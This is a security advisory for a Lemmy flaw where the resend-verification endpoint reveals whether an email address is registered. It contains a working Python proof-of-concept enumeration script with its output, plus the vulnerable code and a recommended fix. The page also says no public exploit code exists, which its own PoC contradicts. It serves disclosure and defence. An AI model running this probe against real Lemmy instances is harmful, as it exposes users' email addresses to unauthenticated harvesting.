GHSA-qxrw-f6fh-34r7 Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users

Not scored Published 6 May 2026

Unauthenticated attackers can enumerate registered email addresses via the resend-verification endpoint's distinct error responses.

Exploited in the wild: Not known
Login needed: Not needed
Attackable: Over the internet
Victim action needed: Not needed
Fix: None listed

What is GHSA-qxrw-f6fh-34r7?

GHSA-qxrw-f6fh-34r7 is a vulnerability in lemmy_api, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Summary

The unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to /api/v4/account/auth/resend_verification_email and distinguish accounts from misses.

Details

resend_verification_email() looks up the submitted address and returns the lookup error to the caller:

let local_user_view = LocalUserView::find_by_email(&amp;mut context.pool(), &amp;email).await?;
check_local_user_valid(&amp;local_user_view)?;

The password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.

Proof of Concept

The following script creates one user and probes that address plus a missing address.

import requests, random, string

BASE = &#34;http://127.0.0.1:8536/api/v4&#34;  # change to the target Lemmy URL
ADMIN_USER = &#34;lemmy&#34;
ADMIN_PASS = &#34;lemmylemmy&#34;
PASSWORD = &#34;Password123456!&#34;

def post(path, **body):
    return requests.post(BASE + path, json=body)

suffix = &#34;enum&#34; + &#34;&#34;.join(random.choice(string.ascii_lowercase) for _ in range(6))
admin = post(&#34;/account/auth/login&#34;, username_or_email=ADMIN_USER, password=ADMIN_PASS).json()[&#34;jwt&#34;]
requests.put(BASE + &#34;/site&#34;, headers={&#34;Authorization&#34;: &#34;Bearer &#34; + admin},
             json={&#34;registration_mode&#34;: &#34;open&#34;, &#34;email_verification_required&#34;: False})

email = &#34;alice&#34; + suffix + &#34;@example.test&#34;
post(&#34;/account/auth/register&#34;, username=&#34;alice&#34; + suffix, password=PASSWORD,
     password_verify=PASSWORD, email=email).raise_for_status()

for candidate in [email, &#34;missing&#34; + suffix + &#34;@example.test&#34;]:
    r = post(&#34;/account/auth/resend_verification_email&#34;, email=candidate)
    print(candidate, &#34;HTTP&#34;, r.status_code, r.text[:300])

Output:

[email protected] HTTP 200 {&#34;success&#34;:true}
[email protected] HTTP 404 {&#34;error&#34;:&#34;not_found&#34;,&#34;cause&#34;:&#34;Record not found&#34;}

Impact

A malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because check_local_user_valid() returns separate error types.

Recommended Fix

Use the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return {"success": true} for syntactically valid input.

Found by aisafe.io

Which versions are affected by GHSA-qxrw-f6fh-34r7?

2 open source packages ship an affected version, including lemmy_api.

Package	Affected	Fixed in
`lemmy_api` crates.io	All versions to `0.19.1-rc.1`	None
`lemmy_api` crates.io	All versions to `0.19.1-rc.1`	None

How do I fix GHSA-qxrw-f6fh-34r7?

No fix has been published for GHSA-qxrw-f6fh-34r7 yet. Limit exposure of the affected software until one is available.

Is GHSA-qxrw-f6fh-34r7 being exploited?

There is no known exploitation of GHSA-qxrw-f6fh-34r7 in the wild and no public exploit code.